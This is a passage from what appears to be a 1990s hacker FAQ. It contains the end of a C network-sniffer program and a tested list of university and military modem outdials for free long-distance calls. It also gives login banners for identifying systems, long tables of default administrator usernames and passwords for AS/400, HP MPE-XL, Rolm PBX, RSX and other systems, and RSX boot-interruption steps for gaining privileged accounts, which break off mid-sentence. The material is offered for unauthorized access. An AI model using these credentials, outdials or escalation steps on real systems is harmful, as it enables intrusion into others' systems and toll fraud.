switch(toupper(ch)) {&lt;br /&gt;            case 'I': device=argv[ac++];&lt;br /&gt;                      break;&lt;br /&gt;            case 'F': if(!(LOG=fopen((LogName=argv[ac++]),"a")))&lt;br /&gt;                         Zexit(1,"Output file cant be opened\n");&lt;br /&gt;                      break;&lt;br /&gt;            case 'B': backg=1;&lt;br /&gt;                      break;&lt;br /&gt;            case 'D': debug=1;&lt;br /&gt;                      break;&lt;br /&gt;            default : fprintf(ERR,&lt;br /&gt;                        "Usage: %s [-b] [-d] [-i interface] [-f file]\n",&lt;br /&gt;                            ProgName);&lt;br /&gt;                      exit(1);&lt;br /&gt;       }&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    if(!device) {&lt;br /&gt;        if((s=socket(AF_INET, SOCK_DGRAM, 0)) &lt; 0)&lt;br /&gt;            Pexit(1,"Eth: socket");&lt;br /&gt;&lt;br /&gt;        ifc.ifc_len = sizeof(cbuf);&lt;br /&gt;        ifc.ifc_buf = cbuf;&lt;br /&gt;        if(ioctl(s, SIOCGIFCONF, (char *)&amp;ifc) &lt; 0)&lt;br /&gt;            Pexit(1,"Eth: ioctl");&lt;br /&gt;&lt;br /&gt;        close(s);&lt;br /&gt;        device = ifc.ifc_req-&gt;ifr_name;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    fprintf(ERR,"Using logical device %s [%s]\n",device,NIT_DEV);&lt;br /&gt;    fprintf(ERR,"Output to %s.%s%s",(LOG)?LogName:"stdout",&lt;br /&gt;            (debug)?" (debug)":"",(backg)?" Backgrounding ":"\n");&lt;br /&gt;&lt;br /&gt;    if(!LOG)&lt;br /&gt;        LOG=stdout;&lt;br /&gt;&lt;br /&gt;    signal(SIGINT, death);&lt;br /&gt;    signal(SIGTERM,death);&lt;br /&gt;    signal(SIGKILL,death);&lt;br /&gt;    signal(SIGQUIT,death);&lt;br /&gt;&lt;br /&gt;    if(backg &amp;&amp; debug) {&lt;br /&gt;         fprintf(ERR,"[Cannot bg with debug on]\n");&lt;br /&gt;         backg=0;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    if(backg) {&lt;br /&gt;        register int s;&lt;br /&gt;&lt;br /&gt;        if((s=fork())&gt;0) {&lt;br /&gt;           fprintf(ERR,"[pid %d]\n",s);&lt;br /&gt;           exit(0);&lt;br /&gt;        } else if(s&lt;0)&lt;br /&gt;           Pexit(1,"fork");&lt;br /&gt;&lt;br /&gt;        if( (s=open("/dev/tty",O_RDWR))&gt;0 ) {&lt;br /&gt;                ioctl(s,TIOCNOTTY,(char *)NULL);&lt;br /&gt;                close(s);&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;    fprintf(LOG,"\nLog started at =&gt; %s [pid %d]\n",NOWtm(),getpid());&lt;br /&gt;    fflush(LOG);&lt;br /&gt;&lt;br /&gt;    do_it();&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;20. What is an Internet Outdial?&lt;br /&gt;&lt;br /&gt;An Internet outdial is a modem connected to the Internet than you can&lt;br /&gt;use to dial out.  Normal outdials will only call local numbers.  A GOD&lt;br /&gt;(Global OutDial) is capable of calling long distance.  Outdials are an&lt;br /&gt;inexpensive method of calling long distance BBS's.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;21. What are some Internet Outdials?&lt;br /&gt;&lt;br /&gt;This FAQ answer is excerpted from CoTNo #5:&lt;br /&gt;&lt;br /&gt;			Internet Outdial List v3.0&lt;br /&gt;			 by Cavalier and DisordeR&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Introduction&lt;br /&gt;------------&lt;br /&gt;There are several lists of Internet outdials floating around the net these&lt;br /&gt;days. The following is a compilation of other lists, as well as v2.0 by&lt;br /&gt;DeadKat(CoTNo issue 2, article 4). Unlike other lists where the author&lt;br /&gt;just ripped other people and released it, we have sat down and tested&lt;br /&gt;each one of these. Some of them we have gotten "Connection Refused" or&lt;br /&gt;it timed out while trying to connect...these have been labeled dead.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;			   Working Outdials&lt;br /&gt;			   ----------------&lt;br /&gt;			    as of 12/29/94&lt;br /&gt;&lt;br /&gt;  NPA          IP Address                   Instructions&lt;br /&gt;  ---          ----------                   ------------&lt;br /&gt;  215          isn.upenn.edu                modem&lt;br /&gt;&lt;br /&gt;  217          dialout.cecer.army.mil       atdt x,xxxXXXXX&lt;br /&gt;&lt;br /&gt;  218          modem.d.umn.edu              atdt9,xxxXXXX&lt;br /&gt;&lt;br /&gt;  303          yuma.acns.colostate.edu 3020&lt;br /&gt;&lt;br /&gt;  412          myriad.pc.cc.cmu.edu 2600    Press D at the prompt&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  412          gate.cis.pitt.edu            tn3270,&lt;br /&gt;                                            connect dialout.pitt.edu,&lt;br /&gt;                                            atdtxxxXXXX&lt;br /&gt;&lt;br /&gt;  413          dialout2400.smith.edu        Ctrl } gets ENTER NUMBER: xxxxxxx&lt;br /&gt;&lt;br /&gt;  502          outdial.louisville.edu&lt;br /&gt;&lt;br /&gt;  502          uknet.uky.edu                connect kecnet&lt;br /&gt;                                            @ dial: "outdial2400 or out"&lt;br /&gt;&lt;br /&gt;  602          acssdial.inre.asu.edu        atdt8,,,,,[x][yyy]xxxyyyy&lt;br /&gt;&lt;br /&gt;  614          ns2400.acs.ohio-state.edu&lt;br /&gt;&lt;br /&gt;  614          ns9600.acs.ohio-state.edu&lt;br /&gt;&lt;br /&gt;  713          128.249.27.153               atdt x,xxxXXXX&lt;br /&gt;&lt;br /&gt;  714          modem.nts.uci.edu            atdt[area]0[phone]&lt;br /&gt;&lt;br /&gt;  804          ublan.virginia.edu           connect hayes, 9,,xxx-xxxx&lt;br /&gt;&lt;br /&gt;  804          ublan2.acc.virginia.edu      connect telnet&lt;br /&gt;                                            connect hayes&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;                             Need Password&lt;br /&gt;                             -------------&lt;br /&gt;&lt;br /&gt;  206          rexair.cac.washington.edu    This is an unbroken password&lt;br /&gt;  303          yuma.ACNS.ColoState.EDU      login: modem&lt;br /&gt;  404          128.140.1.239                .modem8|CR&lt;br /&gt;  415          annex132-1.EECS.Berkeley.EDU "dial1" or "dial2" or "dialer1"&lt;br /&gt;  514          cartier.CC.UMontreal.CA      externe,9+number&lt;br /&gt;  703          wal-3000.cns.vt.edu          dial2400 -aa&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;                            Dead/No Connect&lt;br /&gt;                            ---------------&lt;br /&gt;&lt;br /&gt;  201          idsnet&lt;br /&gt;  202          modem.aidt.edu&lt;br /&gt;  204          dial.cc.umanitoba.ca&lt;br /&gt;  204          umnet.cc.manitoba.ca         "dial12" or "dial24"&lt;br /&gt;  206          dialout24.cac.washington.edu&lt;br /&gt;  207          modem-o.caps.maine.edu&lt;br /&gt;  212          B719-7e.NYU.EDU              dial3/dial12/dial24&lt;br /&gt;  212          B719-7f.NYU.EDU              dial3/dial12/dial24&lt;br /&gt;  212          DIALOUT-1.NYU.EDU            dial3/dial12/dial24&lt;br /&gt;  212          FREE-138-229.NYU.EDU         dial3/dial12/dial24&lt;br /&gt;  212          UP19-4b.NYU.EDU              dial3/dial12/dial24&lt;br /&gt;  215          wiseowl.ocis.temple.edu      "atz" "atdt 9xxxyyyy"&lt;br /&gt;  218          aa28.d.umn.edu               "cli" "rlogin modem"&lt;br /&gt;                                            at "login:"  type "modem"&lt;br /&gt;  218          modem.d.umn.edu              Hayes 9,XXX-XXXX&lt;br /&gt;  301          dial9600.umd.edu&lt;br /&gt;  305          alcat.library.nova.edu&lt;br /&gt;  305          office.cis.ufl.edu&lt;br /&gt;  307          modem.uwyo.edu               Hayes  0,XXX-XXXX&lt;br /&gt;  313          35.1.1.6                     dial2400-aa or dial1200-aa&lt;br /&gt;                                            or dialout&lt;br /&gt;  402          dialin.creighton.edu&lt;br /&gt;  402          modem.criegthon.edu&lt;br /&gt;  404          broadband.cc.emory.edu       ".modem8" or ".dialout"&lt;br /&gt;  408          dialout.scu.edu&lt;br /&gt;  408          dialout1200.scu.edu&lt;br /&gt;  408          dialout2400.scu.edu&lt;br /&gt;  408          dialout9600.scu.edu&lt;br /&gt;  413          dialout.smith.edu&lt;br /&gt;  414          modems.uwp.edu&lt;br /&gt;  416          annex132.berkely.edu         atdt 9,,,,, xxx-xxxx&lt;br /&gt;  416          pacx.utcs.utoronto.ca        modem&lt;br /&gt;  503          dialout.uvm.edu&lt;br /&gt;  513          dialout24.afit.af.mil&lt;br /&gt;  513          r596adi1.uc.edu&lt;br /&gt;  514          pacx.CC.UMontreal.CA         externe#9 9xxx-xxxx&lt;br /&gt;  517          engdial.cl.msu.edu&lt;br /&gt;  602          dial9600.telcom.arizona.edu&lt;br /&gt;  603          dialout1200.unh.edu&lt;br /&gt;  604          dial24-nc00.net.ubc.ca&lt;br /&gt;  604          dial24-nc01.net.ubc.ca&lt;br /&gt;  604          dial96-np65.net.ubc.ca&lt;br /&gt;  604          gmodem.capcollege.bc.ca&lt;br /&gt;  604          hmodem.capcollege.bc.ca&lt;br /&gt;  609          128.119.131.11X (X= 1 - 4)   Hayes&lt;br /&gt;  609          129.119.131.11x  (x = 1 to 4)&lt;br /&gt;  609          wright-modem-1.rutgers.edu&lt;br /&gt;  609          wright-modem-2.rutgers.edu&lt;br /&gt;  612          modem_out12e7.atk.com&lt;br /&gt;  612          modem_out24n8.atk.com&lt;br /&gt;  614          ns2400.ircc.ohio-state.edu   "dial"&lt;br /&gt;  615          dca.utk.edu                  dial2400 D 99k #&lt;br /&gt;  615          MATHSUN23.MATH.UTK.EDU       dial 2400  d  99Kxxxxxxx&lt;br /&gt;  616          modem.calvin.edu&lt;br /&gt;  617          128.52.30.3                  2400baud&lt;br /&gt;  617          dialout.lcs.mit.edu&lt;br /&gt;  617          dialout1.princeton.edu&lt;br /&gt;  617          isdn3.Princeton.EDU&lt;br /&gt;  617          jadwingymkip0.Princeton.EDU&lt;br /&gt;  617          lord-stanley.Princeton.EDU&lt;br /&gt;  617          mpanus.Princeton.EDU&lt;br /&gt;  617          mrmodem.wellesley.edu&lt;br /&gt;  617          old-dialout.Princeton.EDU&lt;br /&gt;  617          stagger.Princeton.EDU&lt;br /&gt;  617          sunshine-02.lcs.mit.edu&lt;br /&gt;  617          waddle.Princeton.EDU&lt;br /&gt;  619          128.54.30.1                  atdt [area][phone]&lt;br /&gt;  619          dialin.ucsd.edu              "dialout"&lt;br /&gt;  703          modem_pool.runet.edu&lt;br /&gt;  703          wal-3000.cns.vt.edu&lt;br /&gt;  713          128.249.27.154               "c modem96"  "atdt 9xxx-xxxx"&lt;br /&gt;                                            or "Hayes"&lt;br /&gt;  713          modem12.bcm.tmc.edu&lt;br /&gt;  713          modem24.bcm.tmc.edu&lt;br /&gt;  713          modem24.bcm.tmc.edu&lt;br /&gt;  714          mdmsrv7.sdsu.edu             atdt 8xxx-xxxx&lt;br /&gt;  714          modem24.nts.uci.edu&lt;br /&gt;  714          pub-gopher.cwis.uci.edu&lt;br /&gt;  801          dswitch.byu.edu              "C Modem"&lt;br /&gt;  808          irmodem.ifa.hawaii.edu&lt;br /&gt;  902          star.ccs.tuns.ca             "dialout"&lt;br /&gt;  916          129.137.33.72&lt;br /&gt;  916          cc-dnet.ucdavis.edu          connect hayes/dialout&lt;br /&gt;  916          engr-dnet1.engr.ucdavis.edu  UCDNET &lt;ret&gt; C KEYCLUB &lt;ret&gt;&lt;br /&gt;  ???          128.119.131.11X              (1 - 4)&lt;br /&gt;  ???          128.200.142.5&lt;br /&gt;  ???          128.54.30.1                  nue, X to discontinue, ? for Help&lt;br /&gt;  ???          128.6.1.41&lt;br /&gt;  ???          128.6.1.42&lt;br /&gt;  ???          129.137.33.72&lt;br /&gt;  ???          129.180.1.57&lt;br /&gt;  ???          140.112.3.2                  ntu            &lt;none&gt;&lt;br /&gt;  ???          annexdial.rz.uni-duesseldorf.de&lt;br /&gt;  ???          dial96.ncl.ac.uk&lt;br /&gt;  ???          dialout.plk.af.mil&lt;br /&gt;  ???          ee21.ee.ncu.edu.tw           cs8005&lt;br /&gt;  ???          im.mgt.ncu.edu.tw            guest           &lt;none&gt;&lt;br /&gt;  ???          modem.cis.uflu.edu&lt;br /&gt;  ???          modem.ireq.hydro.qc.ca&lt;br /&gt;  ???          modems.csuohio.edu&lt;br /&gt;  ???          sparc20.ncu.edu.tw           u349633&lt;br /&gt;  ???          sun2cc.nccu.edu.tw           ?&lt;br /&gt;  ???          ts-modem.une.oz.au&lt;br /&gt;  ???          twncu865.ncu.edu.tw          guest           &lt;none&gt;&lt;br /&gt;  ???          vtnet1.cns.ut.edu            "CALL" or "call"&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Conclusion&lt;br /&gt;----------&lt;br /&gt;If you find any of the outdials to have gone dead, changed commands,&lt;br /&gt;or require password, please let us know so we can keep this list as&lt;br /&gt;accurate as possible. If you would like to add to the list, feel free&lt;br /&gt;to mail us and it will be included in future versions of this list,&lt;br /&gt;with your name beside it. Have fun...&lt;br /&gt;&lt;br /&gt;[Editors note: Updates have been made to this document after&lt;br /&gt;               the original publication]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;22. What is this system?&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;AIX&lt;br /&gt;~~~&lt;br /&gt;IBM AIX Version 3 for RISC System/6000&lt;br /&gt;(C) Copyrights by IBM and by others 1982, 1990.&lt;br /&gt;login:&lt;br /&gt;&lt;br /&gt;[You will know an AIX system because it is the only Unix system that]&lt;br /&gt;[clears the screen and issues a login prompt near the bottom of the]&lt;br /&gt;[screen]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;AS/400&lt;br /&gt;~~~~~~&lt;br /&gt;UserID?&lt;br /&gt;Password?&lt;br /&gt;&lt;br /&gt;Once in, type GO MAIN&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;CDC Cyber&lt;br /&gt;~~~~~~~~~&lt;br /&gt;WELCOME TO THE NOS SOFTWARE SYSTEM.&lt;br /&gt;COPYRIGHT CONTROL DATA 1978, 1987.&lt;br /&gt;&lt;br /&gt;88/02/16. 02.36.53. N265100&lt;br /&gt;CSUS CYBER 170-730.                     NOS 2.5.2-678/3.&lt;br /&gt;FAMILY:&lt;br /&gt;&lt;br /&gt;You would normally just hit return at the family prompt.  Next prompt is:&lt;br /&gt;&lt;br /&gt;USER NAME:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;CISCO Router&lt;br /&gt;~~~~~~~~~~~~&lt;br /&gt;                             FIRST BANK OF TNO&lt;br /&gt;                           95-866 TNO VirtualBank&lt;br /&gt;                          REMOTE Router -  TN043R1&lt;br /&gt;&lt;br /&gt;                                Console Port&lt;br /&gt;&lt;br /&gt;                                SN - 00000866&lt;br /&gt;&lt;br /&gt;TN043R1&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;DECserver&lt;br /&gt;~~~~~~~~~&lt;br /&gt;DECserver 700-08 Communications Server V1.1 (BL44G-11A) - LAT V5.1&lt;br /&gt;DPS502-DS700&lt;br /&gt;&lt;br /&gt;(c) Copyright 1992, Digital Equipment Corporation - All Rights Reserved&lt;br /&gt;&lt;br /&gt;Please type HELP if you need assistance&lt;br /&gt;&lt;br /&gt;Enter username&gt; TNO&lt;br /&gt;&lt;br /&gt;Local&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Hewlett Packard MPE-XL&lt;br /&gt;~~~~~~~~~~~~~~~~~~~~~~&lt;br /&gt;MPE XL:&lt;br /&gt;EXPECTED A :HELLO COMMAND. (CIERR 6057)&lt;br /&gt;MPE XL:&lt;br /&gt;EXPECTED [SESSION NAME,] USER.ACCT [,GROUP]   (CIERR 1424)&lt;br /&gt;MPE XL:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;GTN&lt;br /&gt;~~~&lt;br /&gt;WELCOME TO CITIBANK. PLEASE SIGN ON.&lt;br /&gt;XXXXXXXX&lt;br /&gt;&lt;br /&gt;@&lt;br /&gt;PASSWORD =&lt;br /&gt;&lt;br /&gt;@&lt;br /&gt;&lt;br /&gt;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=&lt;br /&gt;&lt;br /&gt;PLEASE ENTER YOUR ID:-1-&gt;&lt;br /&gt;PLEASE ENTER YOUR PASSWORD:-2-&gt;&lt;br /&gt;&lt;br /&gt;CITICORP (CITY NAME). KEY GHELP FOR HELP.&lt;br /&gt;  XXX.XXX&lt;br /&gt; PLEASE SELECT SERVICE REQUIRED.-3-&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Lantronix Terminal Server&lt;br /&gt;~~~~~~~~~~~~~~~~~~~~~~~~~&lt;br /&gt;Lantronix ETS16 Version V3.1/1(940623)&lt;br /&gt;&lt;br /&gt;Type HELP at the 'Local_15&gt; ' prompt for assistance.&lt;br /&gt;&lt;br /&gt;Login password&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Meridian Mail (Northern Telecom Phone/Voice Mail System)&lt;br /&gt;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;br /&gt;                            MMM       MMMERIDIAN&lt;br /&gt;                           MMMMM     MMMMM&lt;br /&gt;                         MMMMMM   MMMMMM&lt;br /&gt;                        MMM  MMMMM  MMM     MMMMM     MMMMM&lt;br /&gt;                      MMM   MMM   MMM     MMMMMM   MMMMMM&lt;br /&gt;                     MMM         MMM     MMM MMM MMM MMM&lt;br /&gt;                    MMM         MMM     MMM  MMMMM  MMM&lt;br /&gt;                   MMM         MMM     MMM   MMM   MMM&lt;br /&gt;                  MMM         MMM     MMM         MMM&lt;br /&gt;                 MMM         MMM     MMM         MMM&lt;br /&gt;                MMM         MMM     MMM         MMM&lt;br /&gt;               MMM         MMM     MMM         MMM&lt;br /&gt;              MMM         MMM     MMM         MMM&lt;br /&gt;&lt;br /&gt;                                          Copyright (c) Northern Telecom, 1991&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Novell ONLAN&lt;br /&gt;~~~~~~~~~~~~&lt;br /&gt;&lt;Control-A aka smiley face&gt;N&lt;br /&gt;&lt;br /&gt;[To access the systems it is best to own a copy of ONLAN/PC]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;PC-Anywhere&lt;br /&gt;~~~~~~~~~~~&lt;br /&gt;&lt;Control-A aka smiley face&gt;P&lt;br /&gt;&lt;br /&gt;[To access the systems it is best to own a copy of PCAnywhere Remote]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;PRIMOS&lt;br /&gt;~~~~~~&lt;br /&gt;PRIMENET 19.2.7F PPOA1&lt;br /&gt;&lt;br /&gt;&lt;any text&gt;&lt;br /&gt;&lt;br /&gt;ER!&lt;br /&gt;&lt;br /&gt;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=&lt;br /&gt;&lt;br /&gt;CONNECT&lt;br /&gt;Primenet V 2.3  (system)&lt;br /&gt;LOGIN           (you)&lt;br /&gt;User id?        (system)&lt;br /&gt;SAPB5           (you)&lt;br /&gt;Password?       (system)&lt;br /&gt;DROWSAP         (you)&lt;br /&gt;OK,             (system)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;ROLM CBX II&lt;br /&gt;~~~~~~~~~~~&lt;br /&gt;ROLM CBXII  RELEASE 9004.2.34 RB295 9000D IBMHO27568&lt;br /&gt;BIND DATE:  7/APR/93&lt;br /&gt;COPYRIGHT 1980, 1993 ROLM COMPANY.  ALL RIGHTS RESERVED.&lt;br /&gt;ROLM IS A REGISTERED TRADEMARK AND CBX IS A TRADEMARK OF ROLM COMPANY.&lt;br /&gt;YOU HAVE ENTERED CPU 1&lt;br /&gt;12:38:47 ON WEDNESDAY 2/15/1995&lt;br /&gt;&lt;br /&gt;USERNAME: op&lt;br /&gt;&lt;br /&gt;PASSWORD:&lt;br /&gt;&lt;br /&gt; INVALID USERNAME-PASSWORD PAIR&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;ROLM-OSL&lt;br /&gt;~~~~~~~~&lt;br /&gt;MARAUDER10292  01/09/85(^G) 1 03/10/87  00:29:47&lt;br /&gt;RELEASE 8003&lt;br /&gt;OSL, PLEASE.&lt;br /&gt;?&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;System75&lt;br /&gt;~~~~~~~~&lt;br /&gt;Login: root&lt;br /&gt;INCORRECT LOGIN&lt;br /&gt;&lt;br /&gt;Login: browse&lt;br /&gt;Password:&lt;br /&gt;&lt;br /&gt;Software Version: G3s.b16.2.2&lt;br /&gt;&lt;br /&gt;Terminal Type (513, 4410, 4425): [513]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Tops-10&lt;br /&gt;~~~~~~~&lt;br /&gt;NIH Timesharing&lt;br /&gt;&lt;br /&gt;NIH Tri-SMP 7.02-FF  16:30:04 TTY11&lt;br /&gt;system 1378/1381/1453 Connected to Node Happy(40) Line # 12&lt;br /&gt;Please LOGIN&lt;br /&gt;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;VM/370&lt;br /&gt;~~~~~~&lt;br /&gt;VM/370&lt;br /&gt;!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;VM/ESA&lt;br /&gt;~~~~~~&lt;br /&gt;VM/ESA ONLINE&lt;br /&gt;&lt;br /&gt;                                          TBVM2 VM/ESA Rel 1.1     PUT 9200&lt;br /&gt;&lt;br /&gt;Fill in your USERID and PASSWORD and press ENTER&lt;br /&gt;(Your password will not appear when you type it)&lt;br /&gt;USERID   ===&gt;&lt;br /&gt;PASSWORD ===&gt;&lt;br /&gt;&lt;br /&gt;COMMAND  ===&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Xylogics Annex Communications Server&lt;br /&gt;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;br /&gt;Annex Command Line Interpreter   *   Copyright 1991 Xylogics, Inc.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Checking authorization, Please wait...      -&lt;br /&gt;Annex username: TNO                          - Optional security check&lt;br /&gt;Annex password:                             -  Not always present&lt;br /&gt;&lt;br /&gt;Permission granted&lt;br /&gt;annex:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;23. What are the default accounts for XXX?&lt;br /&gt;&lt;br /&gt;AIX&lt;br /&gt;~~~&lt;br /&gt;guest           guest&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;AS/400&lt;br /&gt;~~~~~~&lt;br /&gt;qsecofr         qsecofr         /* master security officer */&lt;br /&gt;qsysopr         qsysopr         /* system operator         */&lt;br /&gt;qpgmr           qpgmr           /* default programmer      */&lt;br /&gt;&lt;br /&gt;also&lt;br /&gt;&lt;br /&gt;ibm             password&lt;br /&gt;ibm             2222&lt;br /&gt;ibm             service&lt;br /&gt;qsecofr         1111111&lt;br /&gt;qsecofr         2222222&lt;br /&gt;qserv           qserv&lt;br /&gt;qsvr            qsvr&lt;br /&gt;secofr          secofr&lt;br /&gt;qsrv            ibmce1&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;DECserver&lt;br /&gt;~~~~~~~~~&lt;br /&gt;ACCESS&lt;br /&gt;SYSTEM&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Dynix (The library software, not the UnixOS)&lt;br /&gt;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;br /&gt;(Type 'later' to exit to the login prompt)&lt;br /&gt;setup           &lt;no password&gt;&lt;br /&gt;library         &lt;no password&gt;&lt;br /&gt;circ            &lt;Social Security Number&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Hewlett Packard MPE-XL&lt;br /&gt;~~~~~~~~~~~~~~~~~~~~~~&lt;br /&gt;HELLO           MANAGER.SYS&lt;br /&gt;HELLO           MGR.SYS&lt;br /&gt;HELLO           FIELD.SUPPORT     HPUNSUP or SUPPORT or HP&lt;br /&gt;HELLO           OP.OPERATOR&lt;br /&gt;MGR             CAROLIAN&lt;br /&gt;MGR             CCC&lt;br /&gt;MGR             CNAS&lt;br /&gt;MGR             CONV&lt;br /&gt;MGR             COGNOS&lt;br /&gt;OPERATOR        COGNOS&lt;br /&gt;MANAGER         COGNOS&lt;br /&gt;OPERATOR        DISC&lt;br /&gt;MGR             HPDESK&lt;br /&gt;MGR             HPWORD&lt;br /&gt;FIELD           HPWORD&lt;br /&gt;MGR             HPOFFICE&lt;br /&gt;SPOOLMAN        HPOFFICE&lt;br /&gt;ADVMAIL         HPOFFICE&lt;br /&gt;MAIL            HPOFFICE&lt;br /&gt;WP              HPOFFICE&lt;br /&gt;MANAGER         HPOFFICE&lt;br /&gt;MGR             HPONLY&lt;br /&gt;FIELD           HPP187&lt;br /&gt;MGR             HPP187&lt;br /&gt;MGR             HPP189&lt;br /&gt;MGR             HPP196&lt;br /&gt;MGR             INTX3&lt;br /&gt;MGR             ITF3000&lt;br /&gt;MANAGER         ITF3000&lt;br /&gt;MAIL            MAIL&lt;br /&gt;MGR             NETBASE&lt;br /&gt;MGR             REGO&lt;br /&gt;MGR             RJE&lt;br /&gt;MGR             ROBELLE&lt;br /&gt;MANAGER         SECURITY&lt;br /&gt;MGR             SECURITY&lt;br /&gt;FIELD           SERVICE&lt;br /&gt;MANAGER         SYS&lt;br /&gt;MGR             SYS&lt;br /&gt;PCUSER          SYS&lt;br /&gt;RSBCMON         SYS&lt;br /&gt;OPERATOR        SYS&lt;br /&gt;OPERATOR        SYSTEM&lt;br /&gt;FIELD           SUPPORT&lt;br /&gt;OPERATOR        SUPPORT&lt;br /&gt;MANAGER         TCH&lt;br /&gt;MAIL            TELESUP&lt;br /&gt;MANAGER         TELESUP&lt;br /&gt;MGR             TELESUP&lt;br /&gt;SYS             TELESUP&lt;br /&gt;MGE             VESOFT&lt;br /&gt;MGE             VESOFT&lt;br /&gt;MGR             WORD&lt;br /&gt;MGR             XLSERVER&lt;br /&gt;&lt;br /&gt;Common jobs are Pub, Sys, Data&lt;br /&gt;Common passwords are HPOnly, TeleSup, HP, MPE, Manager, MGR, Remote&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Major BBS&lt;br /&gt;~~~~~~~~~&lt;br /&gt;Sysop           Sysop&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Mitel PBX&lt;br /&gt;~~~~~~~~~&lt;br /&gt;SYSTEM&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;NeXTSTEP&lt;br /&gt;~~~~~~~~&lt;br /&gt;root            NeXT&lt;br /&gt;signa           signa&lt;br /&gt;me              &lt;null&gt;  (Rumored to be correct, not checked)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Nomadic Computing Environment (NCE) on the Tadpole Technologies SPARCBook3&lt;br /&gt;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;br /&gt;fax             &lt;no password&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;PICK O/S&lt;br /&gt;~~~~~~~~&lt;br /&gt;DSA             # Desquetop System Administrator&lt;br /&gt;DS&lt;br /&gt;DESQUETOP&lt;br /&gt;PHANTOM&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Prolog&lt;br /&gt;~~~~~~&lt;br /&gt;PBX             PBX&lt;br /&gt;NETWORK         NETWORK&lt;br /&gt;NETOP           &lt;null&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Radio Shack Screen Savers&lt;br /&gt;~~~~~~~~~~~~~~~~~~~~~~~~~&lt;br /&gt;RS&lt;STORE_ID_NUMBER&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Rolm&lt;br /&gt;~~~~&lt;br /&gt;CBX Defaults&lt;br /&gt;&lt;br /&gt;op              op&lt;br /&gt;op              operator&lt;br /&gt;su              super&lt;br /&gt;admin           pwp&lt;br /&gt;eng             engineer&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;PhoneMail Defaults&lt;br /&gt;&lt;br /&gt;sysadmin        sysadmin&lt;br /&gt;tech            tech&lt;br /&gt;poll            tech&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;RSX&lt;br /&gt;~~~&lt;br /&gt;SYSTEM/SYSTEM   (Username SYSTEM, Password SYSTEM)&lt;br /&gt;1,1/system      (Directory [1,1] Password SYSTEM)&lt;br /&gt;BATCH/BATCH&lt;br /&gt;SYSTEM/MANAGER&lt;br /&gt;USER/USER&lt;br /&gt;&lt;br /&gt;Default accounts for Micro/RSX:&lt;br /&gt;&lt;br /&gt;		MICRO/RSX&lt;br /&gt;&lt;br /&gt;Alternately you can hit &lt;CTRL-Z&gt;  when the boot sequence asks you for the&lt;br /&gt;date and create an account using:&lt;br /&gt;&lt;br /&gt;		RUN ACNT&lt;br /&gt;	    or  RUN $ACNT&lt;br /&gt;&lt;br /&gt;(Numbers below 10 {oct} are privileged)&lt;br /&gt;&lt;br /&gt;Reboot and wait for the date/time question. Type ^C and at the MCR prompt,&lt;br /&gt;type "abo at." You must include the . dot!&lt;br /&gt;&lt;br /&gt;If this works, type "acs lb0:/blks=1000" to get some swap space so the&lt;br /&gt;new step won't wedge.&lt;br /&gt;&lt;br /&gt;type " run $acnt" and change the password of any account with a group&lt;br /&gt;number of 7 or less.&lt;br /&gt;&lt;br /&gt;You may find that the ^C does not work. Try ^Z and ESC as well.&lt;br /&gt;Also try all 3 as terminators to valid and invalid times.&lt;br /&gt;&lt;br /&gt;If none of the above work, use the halt switch to halt the system,&lt;br /&gt;just after a invalid date-time.  Look for a user mode PSW 1[4-7]xxxx.&lt;br /&gt;then deposit 177777 into 